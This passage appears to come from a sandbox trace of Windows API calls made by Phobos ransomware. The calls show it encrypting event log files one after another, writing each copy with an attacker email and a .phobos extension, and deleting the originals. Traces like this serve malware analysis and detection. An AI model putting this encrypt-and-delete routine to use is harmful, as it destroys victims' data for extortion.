lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.631] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.631] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.632] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc750) returned 1 [0058.632] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.632] ReadFile (in: hFile=0x300, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.639] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.639] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.641] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc9d0) returned 1 [0058.641] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.641] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0058.641] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0058.641] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0058.641] CryptDestroyKey (hKey=0x10dc750) returned 1 [0058.641] CloseHandle (hObject=0x300) returned 1 [0058.641] CloseHandle (hObject=0x330) returned 1 [0058.643] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0058.644] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.644] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.644] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.644] CloseHandle (hObject=0x330) returned 1 [0058.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0058.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.645] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.645] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.645] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.645] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0058.645] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb10) returned 1 [0058.645] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.645] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.734] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.734] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.735] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc810) returned 1 [0058.735] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.735] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0058.735] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.735] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0058.735] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0058.735] CloseHandle (hObject=0x330) returned 1 [0058.736] CloseHandle (hObject=0x300) returned 1 [0058.737] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0058.738] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.738] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0058.739] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.739] CloseHandle (hObject=0x300) returned 1 [0058.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0058.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.739] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0058.739] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.739] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.739] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.739] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dca50) returned 1 [0058.739] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.739] ReadFile (in: hFile=0x300, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.782] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.782] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.784] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcbd0) returned 1 [0058.784] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.784] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0058.784] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0058.784] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0058.784] CryptDestroyKey (hKey=0x10dca50) returned 1 [0058.784] CloseHandle (hObject=0x300) returned 1 [0058.784] CloseHandle (hObject=0x330) returned 1 [0058.785] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0058.787] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.787] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.787] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.787] CloseHandle (hObject=0x330) returned 1 [0058.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0058.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.787] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.787] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.787] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.787] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0058.789] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc690) returned 1 [0058.789] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.789] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.806] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.807] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.808] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc610) returned 1 [0058.808] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.808] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0058.808] CryptDestroyKey (hKey=0x10dc610) returned 1 [0058.808] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0058.808] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.808] CloseHandle (hObject=0x330) returned 1 [0058.808] CloseHandle (hObject=0x300) returned 1 [0058.810] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0058.811] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.811] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.818] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.818] CloseHandle (hObject=0x310) returned 1 [0058.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0058.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.819] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.819] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.819] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.819] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.819] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcbd0) returned 1 [0058.819] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.819] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.830] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.830] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.832] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb90) returned 1 [0058.832] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.832] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0058.832] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.832] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0058.832] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0058.832] CloseHandle (hObject=0x310) returned 1 [0058.832] CloseHandle (hObject=0x304) returned 1 [0058.833] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0058.835] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.835] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.835] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.835] CloseHandle (hObject=0x304) returned 1 [0058.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0058.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.835] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.835] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.835] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.835] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.836] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcc10) returned 1 [0058.836] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.836] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.851] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.851] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.853] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb90) returned 1 [0058.853] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.853] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xa0, dwBufLen=0xa0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xa0) returned 1 [0058.853] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.853] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x152, lpOverlapped=0x0) returned 1 [0058.853] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0058.853] CloseHandle (hObject=0x304) returned 1 [0058.853] CloseHandle (hObject=0x310) returned 1 [0058.855] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0058.856] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.856] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.904] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.904] 